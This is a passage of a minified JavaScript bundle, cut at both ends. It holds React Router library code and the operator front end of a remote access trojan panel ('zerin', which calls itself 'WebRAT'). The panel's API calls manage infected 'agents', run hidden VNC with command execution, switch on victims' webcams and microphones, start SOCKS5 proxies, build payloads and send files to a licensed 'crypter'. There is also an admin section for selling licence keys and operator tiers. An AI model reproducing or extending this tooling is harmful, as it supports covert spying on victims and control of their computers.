e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Vf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function WP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function mx(e,t){let n=WP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function hx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=ss(e):(i=wo({},e),Ye(!i.pathname||!i.pathname.includes("?"),Vf("?","pathname","search",i)),Ye(!i.pathname||!i.pathname.includes("#"),Vf("#","pathname","hash",i)),Ye(!i.search||!i.search.includes("#"),Vf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=FP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ui=e=>e.join("/").replace(/\/\/+/g,"/"),UP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),VP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,HP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function KP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Q5=["post","put","patch","delete"];new Set(Q5);const qP=["get",...Q5];new Set(qP);/** * React Router v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function jo(){return jo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=hx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ui([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const XP=p.createContext(null);function ZP(e){let t=p.useContext(ur).outlet;return t&&p.createElement(XP.Provider,{value:e},t)}function qo(){let{matches:e}=p.useContext(ur),t=e[e.length-1];return t?t.params:{}}function nd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Dr),{matches:i}=p.useContext(ur),{pathname:a}=la(),o=JSON.stringify(mx(i,r.v7_relativeSplatPath));return p.useMemo(()=>hx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function QP(e,t){return JP(e,t)}function JP(e,t,n,r){os()||Ye(!1);let{navigator:i}=p.useContext(Dr),{matches:a}=p.useContext(ur),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=la(),d;if(t){var f;let y=typeof t=="string"?ss(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Ye(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=SP(e,{pathname:h}),g=iE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ui([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ui([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(td.Provider,{value:{location:jo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ei.Pop}},g):g}function eE(){let e=lE(),t=KP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const tE=p.createElement(eE,null);class nE extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(ur.Provider,{value:this.props.routeContext},p.createElement(ej.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function rE(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(ed);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(ur.Provider,{value:t},r)}function iE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Ye(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||tE,c&&(u<0&&m===0?(uE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(rE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(nE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var nj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(nj||{}),rj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(rj||{});function aE(e){let t=p.useContext(ed);return t||Ye(!1),t}function sE(e){let t=p.useContext(J5);return t||Ye(!1),t}function oE(e){let t=p.useContext(ur);return t||Ye(!1),t}function ij(e){let t=oE(),n=t.matches[t.matches.length-1];return n.route.id||Ye(!1),n.route.id}function lE(){var e;let t=p.useContext(ej),n=sE(),r=ij();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function cE(){let{router:e}=aE(nj.UseNavigateStable),t=ij(rj.UseNavigateStable),n=p.useRef(!1);return tj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,jo({fromRouteId:t},a)))},[e,t])}const Og={};function uE(e,t,n){Og[e]||(Og[e]=!0)}function dE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Qi(e){let{to:t,replace:n,state:r,relative:i}=e;os()||Ye(!1);let{future:a,static:o}=p.useContext(Dr),{matches:l}=p.useContext(ur),{pathname:c}=la(),u=dr(),d=hx(t,mx(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function fE(e){return ZP(e.context)}function ht(e){Ye(!1)}function pE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ei.Pop,navigator:a,static:o=!1,future:l}=e;os()&&Ye(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:jo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ss(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ga(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Dr.Provider,{value:u},p.createElement(td.Provider,{children:n,value:g}))}function mE(e){let{children:t,location:n}=e;return QP(ym(t),n)}new Promise(()=>{});function ym(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,ym(r.props.children,a));return}r.type!==ht&&Ye(!1),!r.props.index||!r.props.children||Ye(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=ym(r.props.children,a)),n.push(o)}),n}/** * React Router DOM v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function Uc(){return Uc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function hE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function xE(e,t){return e.button===0&&(!t||t==="_self")&&!hE(e)}function bm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function vE(e,t){let n=bm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const gE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],yE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],bE="6";try{window.__reactRouterVersion=bE}catch{}const wE=p.createContext({isTransitioning:!1}),jE="startTransition",Tg=q2[jE];function kE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=jP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Tg?Tg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>dE(r),[r]),p.createElement(pE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const NE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",SE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,dt=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=aj(t,gE),{basename:h}=p.useContext(Dr),x,g=!1;if(typeof u=="string"&&SE.test(u)&&(x=u,NE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ga(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=YP(u,{relative:i}),v=PE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Uc({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),zE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=aj(t,yE),m=nd(c,{relative:f.relative}),h=la(),x=p.useContext(J5),{navigator:g,basename:y}=p.useContext(Dr),v=x!=null&&EE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ga(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},_=S?r:void 0,A;typeof a=="function"?A=a(z):A=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(z):l;return p.createElement(dt,Uc({},f,{"aria-current":_,className:A,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var wm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(wm||(wm={}));var Mg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Mg||(Mg={}));function CE(e){let t=p.useContext(ed);return t||Ye(!1),t}function PE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=dr(),u=la(),d=nd(e,{relative:o});return p.useCallback(f=>{if(xE(f,n)){f.preventDefault();let m=r!==void 0?r:Wc(u)===Wc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function xx(e){let t=p.useRef(bm(e)),n=p.useRef(!1),r=la(),i=p.useMemo(()=>vE(r.search,n.current?null:t.current),[r.search]),a=dr(),o=p.useCallback((l,c)=>{const u=bm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function EE(e,t){t===void 0&&(t={});let n=p.useContext(wE);n==null&&Ye(!1);let{basename:r}=CE(wm.useViewTransitionState),i=nd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ga(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ga(n.nextLocation.pathname,r)||n.nextLocation.pathname;return gm(i.pathname,o)!=null||gm(i.pathname,a)!=null}const rd="zerin_token",id="zerin_role",ad="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(rd,n.data.token),n.data.role&&sessionStorage.setItem(id,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function rt(){return sessionStorage.getItem(rd)}function vx(e){sessionStorage.setItem(rd,e)}function Yo(){sessionStorage.removeItem(rd),sessionStorage.removeItem(id),sessionStorage.removeItem(ad),ko=null}function sj(){return sessionStorage.getItem(ad)||"rat"}let ko=null;function AE(){return rt()?ko&&Date.now()/1e3>ko?(Yo(),!1):!0:!1}class di extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Se(e,t={}){const n=rt(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Yo(),xi();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new di(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new di(i.status,o)}if(i.status!==204)return i.json()}async function oj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function _E(e){const t=await oj(e.password),n=await Se("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function OE(e){const t=await oj(e.password),n=await Se("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return vx(n.token),ko=n.expires_at,n.role&&sessionStorage.setItem(id,n.role),n.tier&&sessionStorage.setItem(ad,n.tier),xi(),n}async function lj(e){return Se("/api/agents")}async function TE(e){return Se(`/api/agents/${e}`)}async function cj(e){return Se(`/api/agents/${e}`,{method:"DELETE"})}async function ME(e){await Promise.all(e.map(t=>cj(t)))}async function LE(e){return Se(`/api/agents/${e}/ban`,{method:"POST"})}async function IE(e){return Se(`/api/agents/${e}/unban`,{method:"POST"})}async function Ee(e,t){return Se(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Un(e){return Se(`/api/agents/${e}/tasks`)}async function DE(){return Se("/api/events")}async function RE(e,t){return Se(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function $E(e){return Se("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function BE(){return Se("/api/payloads")}async function FE(){return Se("/api/server-info")}async function WE(e){return Se(`/api/payloads/${e}`,{method:"DELETE"})}async function gx(e){return Se(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function UE(e){return Se(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function uj(e){return Se(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function VE(e){return Se(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function HE(e,t,n=!1){return Se(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function dj(e,t=-1){return Se(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function KE(e){return Se(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function fj(e){return Se(`/api/agents/${e}/mic/start`,{method:"POST"})}async function qE(e){return Se(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function pj(e){return Se(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function YE(e){return Se(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function GE(e){return Se(`/api/agents/${e}/socks5/status`)}async function XE(e){const t=rt(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Yo(),xi(),new di(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new di(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new di(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function ZE(){return Se("/api/admin/keys")}async function QE(e){return Se("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function JE(e){return Se(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function eA(){return Se("/api/admin/operators")}async function tA(e,t){return Se(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function nA(e,t){return Se(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let dc=[];function rA(e){return dc.push(e),()=>{dc=dc.filter(t=>t!==e)}}function iA(){return AE()}function xi(){dc.forEach(e=>e())}function aA(){const e=rt();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ls(){const e=p.useSyncExternalStore(rA,iA),t=p.useCallback(()=>{xi()},[]),n=p.useCallback(()=>{Yo(),xi()},[]),r=e?aA():null;return{isAuthenticated:e,token:rt(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class sA extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r bg-zerin-accent hover:bg-zerin-accent-hover\r px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function oA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=rt();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Yo(),xi()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Hf="zerin_notifications_enabled";function lA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Hf)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Hf,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Hf,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Kf="zerin-uwu-mode",Lg=20,cA=3e3;function uA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function dA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function fA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function pA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` left:${Math.random()*100}vw; top:${Math.random()*100}vh; width:${i}px; height:${i}px; background:${t[n%t.length]}; animation-delay:${Math.random()*.6}s; `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Ig=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Dg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function mA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Ig[Math.floor(Math.random()*Ig.length)];i.textContent=f,i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; font-size:${10+Math.random()*14}px; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.08}s; `}else{const f=Dg[Math.floor(Math.random()*Dg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; width:${m}px;height:${h}px;background:${f}; border-radius:${Math.random()>.5?"50%":"1px"}; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.06}s; `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Rg=["❤️","💖","💗","💕","♥️","🌸"];let $g=0;function hA(e,t){const n=Date.now();if(n-$g<60)return;$g=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Rg[Math.floor(Math.random()*Rg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Bg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Fg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Wg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function xA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Wg[Math.floor(Math.random()*Wg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function vA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Kf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),Bg()):(a.remove("femboy-theme"),Fg()),()=>{a.remove("femboy-theme"),Fg()}},[e]),p.useEffect(()=>{if(!e)return;const 